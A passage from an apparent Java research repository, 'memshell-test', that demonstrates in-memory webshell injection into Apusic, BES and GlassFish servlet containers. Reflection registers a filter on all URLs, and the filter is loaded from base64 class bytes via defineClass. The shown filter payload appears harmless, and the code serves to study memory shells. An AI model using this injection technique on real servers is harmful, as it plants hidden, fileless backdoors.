AFAAYABkAAgAAABQAGgAbAAMAHAAAAAYAAgAdAB4AAQAfAAoAAQALAAAAKwAAAAEAAAABsQAAAAIADAAAAAYAAQAAACkADQAAAAwAAQAAAAEADgAPAAAAAQAgAAAAAgAh";
16 |
17 | public static Class> getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
18 | ClassLoader loader = Thread.currentThread().getContextClassLoader();
19 | BASE64Decoder base64Decoder = new BASE64Decoder();
20 | byte[] bytes = base64Decoder.decodeBuffer(classCode);
21 |
22 | Method method = null;
23 | Class> clz = loader.getClass();
24 | while (method == null && clz != Object.class) {
25 | try {
26 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
27 | } catch (NoSuchMethodException ex) {
28 | clz = clz.getSuperclass();
29 | }
30 | }
31 |
32 | if (method != null) {
33 | method.setAccessible(true);
34 | return (Class>) method.invoke(loader, bytes, 0, bytes.length);
35 | }
36 |
37 | return null;
38 |
39 | }
40 | }
--------------------------------------------------------------------------------
/memshell-test/memshell-test-apusic/src/org/su18/memshell/test/apusic/IndexServlet.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.apusic;
2 |
3 | import javax.servlet.ServletException;
4 | import javax.servlet.http.HttpServlet;
5 | import javax.servlet.http.HttpServletRequest;
6 | import javax.servlet.http.HttpServletResponse;
7 | import java.io.IOException;
8 |
9 | /**
10 | * 金蝶中间件测试
11 | *
12 | * @author su18
13 | */
14 | public class IndexServlet extends HttpServlet {
15 |
16 | @Override
17 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
18 | String message = "apusic index servlet test";
19 | String id = req.getParameter("id");
20 |
21 | StringBuilder sb = new StringBuilder();
22 | sb.append(message);
23 | if (id != null && !id.isEmpty()) {
24 | sb.append("\nid: ").append(id);
25 | }
26 |
27 | resp.getWriter().println(sb);
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-apusic/src/org/su18/memshell/test/apusic/NewFilter.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.apusic;
2 |
3 | import javax.servlet.*;
4 | import javax.servlet.http.HttpServletRequest;
5 | import javax.servlet.http.HttpServletRequestWrapper;
6 | import java.io.IOException;
7 |
8 | /**
9 | * @author su18
10 | */
11 | public class NewFilter implements Filter {
12 |
13 | /**
14 | * 初始化 filter
15 | *
16 | * @param filterConfig FilterConfig
17 | */
18 | @Override
19 | public void init(FilterConfig filterConfig) {
20 | }
21 |
22 | /**
23 | * doFilter 方法处理过滤器逻辑
24 | *
25 | * @param servletRequest ServletRequest
26 | * @param servletResponse ServletResponse
27 | * @param filterChain FilterChain
28 | * @throws IOException 抛出异常
29 | * @throws ServletException 抛出异常
30 | */
31 | @Override
32 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
33 | // 给下一个过滤器
34 | filterChain.doFilter(new FilterRequest((HttpServletRequest) servletRequest), servletResponse);
35 | }
36 |
37 | /**
38 | * 销毁时执行的方法
39 | */
40 | @Override
41 | public void destroy() {
42 | }
43 |
44 | /**
45 | * 自定义 FilterRequest 重写 getParameter 方法处理 id 值
46 | */
47 | class FilterRequest extends HttpServletRequestWrapper {
48 |
49 | public FilterRequest(HttpServletRequest request) {
50 | super(request);
51 | }
52 |
53 | @Override
54 | public String getParameter(String name) {
55 | if ("id".equals(name)) {
56 | String originalId = super.getParameter(name);
57 |
58 | if (originalId != null && !originalId.isEmpty()) {
59 | int idNum = (Integer.parseInt(originalId) + 1);
60 | return Integer.toString(idNum);
61 | }
62 | }
63 | return super.getParameter(name);
64 | }
65 | }
66 | }
--------------------------------------------------------------------------------
/memshell-test/memshell-test-apusic/web/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 | IndexServlet
9 | org.su18.memshell.test.apusic.IndexServlet
10 |
11 |
12 |
13 | AddApusicFilter
14 | org.su18.memshell.test.apusic.AddApusicFilter
15 |
16 |
17 |
18 | NewFilter
19 | org.su18.memshell.test.apusic.NewFilter
20 |
21 |
22 |
23 | IndexServlet
24 | /index
25 |
26 |
27 |
28 | AddApusicFilter
29 | /addApusicFilter
30 |
31 |
32 |
33 | NewFilter
34 | /*
35 |
36 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-bes/src/org/su18/memshell/test/bes/AddBESFilter.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.bes;
2 |
3 | import com.bes.enterprise.util.descriptor.web.FilterDef;
4 | import com.bes.enterprise.util.descriptor.web.FilterMap;
5 | import com.bes.enterprise.webtier.core.CloudServletContext;
6 |
7 | import javax.servlet.DispatcherType;
8 | import javax.servlet.Filter;
9 | import javax.servlet.ServletContext;
10 | import javax.servlet.ServletException;
11 | import javax.servlet.http.HttpServlet;
12 | import javax.servlet.http.HttpServletRequest;
13 | import javax.servlet.http.HttpServletResponse;
14 | import java.io.IOException;
15 | import java.lang.reflect.Constructor;
16 | import java.lang.reflect.Field;
17 | import java.lang.reflect.Method;
18 | import java.util.HashMap;
19 |
20 | import static org.su18.memshell.test.bes.DynamicUtils.FILTER_CLASS_STRING;
21 |
22 | /**
23 | * BES ≈ Tomcat,跟 GlassFish 也是一家人,在其基础上稍微改改
24 | * 测试版本 BES-LITE-9.5.0.382
25 | *
26 | * @author su18
27 | */
28 | public class AddBESFilter extends HttpServlet {
29 |
30 | @Override
31 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
32 |
33 |
34 | String filterName = "su18BESFilter";
35 | String urlPattern = "/*";
36 | ServletContext servletContext = req.getServletContext();
37 |
38 | CloudServletContext context = null;
39 |
40 | try {
41 |
42 | // 获取 Context
43 | while (context == null) {
44 | Field f = servletContext.getClass().getDeclaredField("context");
45 | f.setAccessible(true);
46 | Object object = f.get(servletContext);
47 |
48 | if (object instanceof CloudServletContext) {
49 | context = (CloudServletContext) object;
50 | } else if (object instanceof ServletContext) {
51 | servletContext = (ServletContext) object;
52 | }
53 | }
54 |
55 | // 创建自定义 Filter 对象
56 | Filter filter = (Filter) DynamicUtils.getClass(FILTER_CLASS_STRING).newInstance();
57 |
58 | // 创建 FilterDef 对象
59 | FilterDef filterDef = new FilterDef();
60 | filterDef.setFilterName(filterName);
61 | filterDef.setFilter(filter);
62 | // filterDef.setFilterClass(filter.getClass());
63 |
64 | // 创建 ApplicationFilterConfig 对象
65 | Constructor>[] constructor = Class.forName("com.bes.enterprise.webtier.core.ApplicationFilterConfig").getDeclaredConstructors();
66 | constructor[0].setAccessible(true);
67 | Object config = constructor[0].newInstance(context, filterDef);
68 |
69 | // 创建 FilterMap 对象
70 | FilterMap filterMap = new FilterMap();
71 | filterMap.setFilterName(filterName);
72 | filterMap.setDispatcher(DispatcherType.REQUEST.name());
73 | filterMap.addURLPattern(urlPattern);
74 |
75 |
76 | // 反射将 ApplicationFilterConfig 放入 StandardContext 中的 filterConfigs 中
77 | Field filterConfigsField = context.getClass().getDeclaredField("filterConfigs");
78 | filterConfigsField.setAccessible(true);
79 | HashMap filterConfigs = (HashMap) filterConfigsField.get(context);
80 | filterConfigs.put(filterName, config);
81 |
82 | // 反射将 FilterMap 放入 StandardContext 中的 filterMaps 中
83 | Field filterMapField = context.getClass().getDeclaredField("filterMaps");
84 | filterMapField.setAccessible(true);
85 | Object object = filterMapField.get(context);
86 |
87 | Class c = Class.forName("com.bes.enterprise.webtier.core.CloudServletContext$ContextFilterMaps");
88 | Method m = c.getDeclaredMethod("addBefore", FilterMap.class);
89 | m.setAccessible(true);
90 | m.invoke(object, filterMap);
91 |
92 | resp.getWriter().println("bes filter added");
93 |
94 | } catch (Exception e) {
95 | e.printStackTrace();
96 | }
97 |
98 | }
99 | }
--------------------------------------------------------------------------------
/memshell-test/memshell-test-bes/src/org/su18/memshell/test/bes/DynamicUtils.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.bes;
2 |
3 | import sun.misc.BASE64Decoder;
4 |
5 | import java.io.IOException;
6 | import java.lang.reflect.InvocationTargetException;
7 | import java.lang.reflect.Method;
8 |
9 | /**
10 | * @author su18
11 | */
12 | public class DynamicUtils {
13 |
14 |
15 | public static String FILTER_CLASS_STRING = "yv66vgAAADQANwoABwAiCwAjACQIACUKACYAJwsAKAApBwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMb3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEACkV4Y2VwdGlvbnMHAC0HAC4BAAdkZXN0cm95AQAKU291cmNlRmlsZQEAD1Rlc3RGaWx0ZXIuamF2YQwACQAKBwAvDAAwADEBAA90aGlzIGlzIEZpbHRlciAHADIMADMANAcANQwAFAA2AQAob3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAAYABwABAAgAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQABAAsAAAA1AAAAAgAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAFgACAAAAAQAOAA8AAAAAAAEAEgATAAEAAQAUABUAAgALAAAAZAADAAQAAAAULLkAAgEAEgO2AAQtKyy5AAUDALEAAAACAAwAAAAOAAMAAAAfAAsAIQATACIADQAAACoABAAAABQADgAPAAAAAAAUABYAFwABAAAAFAAYABkAAgAAABQAGgAbAAMAHAAAAAYAAgAdAB4AAQAfAAoAAQALAAAAKwAAAAEAAAABsQAAAAIADAAAAAYAAQAAACkADQAAAAwAAQAAAAEADgAPAAAAAQAgAAAAAgAh";
16 |
17 | public static Class> getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
18 | ClassLoader loader = Thread.currentThread().getContextClassLoader();
19 | BASE64Decoder base64Decoder = new BASE64Decoder();
20 | byte[] bytes = base64Decoder.decodeBuffer(classCode);
21 |
22 | Method method = null;
23 | Class> clz = loader.getClass();
24 | while (method == null && clz != Object.class) {
25 | try {
26 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
27 | } catch (NoSuchMethodException ex) {
28 | clz = clz.getSuperclass();
29 | }
30 | }
31 |
32 | if (method != null) {
33 | method.setAccessible(true);
34 | return (Class>) method.invoke(loader, bytes, 0, bytes.length);
35 | }
36 |
37 | return null;
38 |
39 | }
40 | }
--------------------------------------------------------------------------------
/memshell-test/memshell-test-bes/src/org/su18/memshell/test/bes/IndexServlet.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.bes;
2 |
3 | import javax.servlet.ServletException;
4 | import javax.servlet.http.HttpServlet;
5 | import javax.servlet.http.HttpServletRequest;
6 | import javax.servlet.http.HttpServletResponse;
7 | import java.io.IOException;
8 |
9 | /**
10 | * 宝兰德中间件测试
11 | *
12 | * @author su18
13 | */
14 | public class IndexServlet extends HttpServlet {
15 |
16 | @Override
17 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
18 | String message = "bes index servlet test";
19 | String id = req.getParameter("id");
20 |
21 | StringBuilder sb = new StringBuilder();
22 | sb.append(message);
23 | if (id != null && !id.isEmpty()) {
24 | sb.append("\nid: ").append(id);
25 | }
26 |
27 | resp.getWriter().println(sb);
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-bes/web/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 | IndexServlet
9 | org.su18.memshell.test.bes.IndexServlet
10 |
11 |
12 |
13 | AddBESFilter
14 | org.su18.memshell.test.bes.AddBESFilter
15 |
16 |
17 |
18 | IndexServlet
19 | /index
20 |
21 |
22 |
23 | AddBESFilter
24 | /addBESFilter
25 |
26 |
27 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-glassfish/src/org/su18/memshell/test/glassfish/AddGlassFishFilter.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.glassfish;
2 |
3 | import com.sun.enterprise.web.WebModule;
4 | import org.apache.catalina.deploy.FilterDef;
5 | import org.apache.catalina.deploy.FilterMap;
6 |
7 | import javax.servlet.DispatcherType;
8 | import javax.servlet.Filter;
9 | import javax.servlet.ServletContext;
10 | import javax.servlet.ServletException;
11 | import javax.servlet.http.HttpServlet;
12 | import javax.servlet.http.HttpServletRequest;
13 | import javax.servlet.http.HttpServletResponse;
14 | import java.io.IOException;
15 | import java.lang.reflect.Constructor;
16 | import java.lang.reflect.Field;
17 | import java.util.HashMap;
18 | import java.util.HashSet;
19 | import java.util.List;
20 |
21 | import static org.su18.memshell.test.glassfish.DynamicUtils.FILTER_CLASS_STRING;
22 |
23 | /**
24 | * Glassfish 的 web-core 用的就是 Tomcat 的代码,在其上加了自己实现的 Valve
25 | * 所以大部分代码通用,但是对于一些部分细节不一样,可以看到我用 Tomcat 添加 Filter 的代码进行了修改
26 | * Glassfish 在 Tomcat 基础上有自己的实现,在 web-glue 包中可看到,例如 StandardContext 的实现类 WebModule
27 | * 在 WebModule 中也有对 servlet 和 filter 的储存,servletRegisMap 和 filterRegisMap
28 | * 感兴趣的师傅可以自行添加测试
29 | * 测试版本:GlassFish 5.0.0
30 | *
31 | * @author su18
32 | */
33 | public class AddGlassFishFilter extends HttpServlet {
34 |
35 | @Override
36 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
37 |
38 |
39 | String filterName = "su18GlassFishFilter";
40 | ServletContext servletContext = req.getServletContext();
41 |
42 | WebModule context = null;
43 |
44 | try {
45 |
46 | // 获取 Context
47 | while (context == null) {
48 | Field f = servletContext.getClass().getDeclaredField("context");
49 | f.setAccessible(true);
50 | Object object = f.get(servletContext);
51 |
52 | if (object instanceof WebModule) {
53 | context = (WebModule) object;
54 | } else if (object instanceof ServletContext) {
55 | servletContext = (ServletContext) object;
56 | }
57 | }
58 |
59 | // 创建自定义 Filter 对象
60 | Filter filter = (Filter) DynamicUtils.getClass(FILTER_CLASS_STRING).newInstance();
61 |
62 | // 创建 FilterDef 对象
63 | FilterDef filterDef = new FilterDef();
64 | filterDef.setFilterName(filterName);
65 | filterDef.setFilter(filter);
66 | // filterDef.setFilterClass(filter.getClass());
67 |
68 | // 创建 ApplicationFilterConfig 对象
69 | Constructor>[] constructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
70 | constructor[0].setAccessible(true);
71 | Object config = constructor[0].newInstance(context, filterDef);
72 |
73 | // 创建 FilterMap 对象
74 | FilterMap filterMap = new FilterMap();
75 | filterMap.setFilterName(filterName);
76 | filterMap.setURLPattern("/*");
77 | HashSet set = new HashSet<>();
78 | set.add(DispatcherType.REQUEST);
79 | filterMap.setDispatcherTypes(set);
80 |
81 |
82 | // 反射将 ApplicationFilterConfig 放入 StandardContext 中的 filterConfigs 中
83 | Field filterConfigsField = context.getClass().getSuperclass().getSuperclass().getDeclaredField("filterConfigs");
84 | filterConfigsField.setAccessible(true);
85 | HashMap filterConfigs = (HashMap) filterConfigsField.get(context);
86 | filterConfigs.put(filterName, config);
87 |
88 | // 反射将 FilterMap 放入 StandardContext 中的 filterMaps 中
89 | Field filterMapField = context.getClass().getSuperclass().getSuperclass().getDeclaredField("filterMaps");
90 | filterMapField.setAccessible(true);
91 | List object = (List) filterMapField.get(context);
92 |
93 | object.add(filterMap);
94 |
95 | resp.getWriter().println("glassfish filter added");
96 |
97 | } catch (Exception e) {
98 |
99 | }
100 |
101 | }
102 | }
103 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-glassfish/src/org/su18/memshell/test/glassfish/AddGlassFishServiceList.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.glassfish;
2 |
3 |
4 | import com.sun.enterprise.web.pwc.connector.coyote.PwcCoyoteRequest;
5 | import org.apache.catalina.connector.InputBuffer;
6 | import org.apache.catalina.connector.RequestFacade;
7 | import org.apache.catalina.core.RequestFacadeHelper;
8 | import org.glassfish.grizzly.Context;
9 | import org.glassfish.grizzly.EmptyCompletionHandler;
10 | import org.glassfish.grizzly.filterchain.Filter;
11 | import org.glassfish.grizzly.filterchain.FilterChainEvent;
12 | import org.glassfish.grizzly.filterchain.ListFacadeFilterChain;
13 | import org.glassfish.grizzly.filterchain.TransportFilter;
14 | import org.glassfish.grizzly.http.server.AfterServiceListener;
15 | import org.glassfish.grizzly.http.server.Request;
16 |
17 | import javax.servlet.ServletException;
18 | import javax.servlet.http.HttpServlet;
19 | import javax.servlet.http.HttpServletRequest;
20 | import javax.servlet.http.HttpServletResponse;
21 | import java.io.IOException;
22 | import java.lang.reflect.Field;
23 |
24 | import static org.su18.memshell.test.glassfish.DynamicUtils.GRIZZLY_CLASS_STRING;
25 |
26 | /**
27 | * 使用 Grizzly 的 Filter 写入内存马
28 | * 在处理 Http 的 HttpServerFilter 中,afterServicesList 用来最后进行处理
29 | * 使用 request 添加 afterServicesList,并在其中获取 context 来添加 Filter
30 | * 调用:
31 | * req->reqFacHelper->request->inputBuffer->grizzlyRequest->afterServicesList
32 | * ctx->internalContext->processor
33 | * 测试版本:GlassFish 5.0.0
34 | *
35 | * @author su18
36 | */
37 | public class AddGlassFishServiceList extends HttpServlet {
38 |
39 | @Override
40 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
41 |
42 | try {
43 | Field f = RequestFacade.class.getDeclaredField("reqFacHelper");
44 | f.setAccessible(true);
45 | RequestFacadeHelper helper = (RequestFacadeHelper) f.get(req);
46 |
47 | Field f2 = RequestFacadeHelper.class.getDeclaredField("request");
48 | f2.setAccessible(true);
49 | PwcCoyoteRequest request = (PwcCoyoteRequest) f2.get(helper);
50 |
51 | Field f3 = PwcCoyoteRequest.class.getSuperclass().getDeclaredField("inputBuffer");
52 | f3.setAccessible(true);
53 | InputBuffer buffer = (InputBuffer) f3.get(request);
54 |
55 | Field f4 = InputBuffer.class.getDeclaredField("grizzlyRequest");
56 | f4.setAccessible(true);
57 | Request request1 = (Request) f4.get(buffer);
58 | request1.addAfterServiceListener(new FlushResponseHandler());
59 |
60 | } catch (Exception e) {
61 | e.printStackTrace();
62 | }
63 |
64 | }
65 |
66 |
67 | public final class FlushResponseHandler extends EmptyCompletionHandler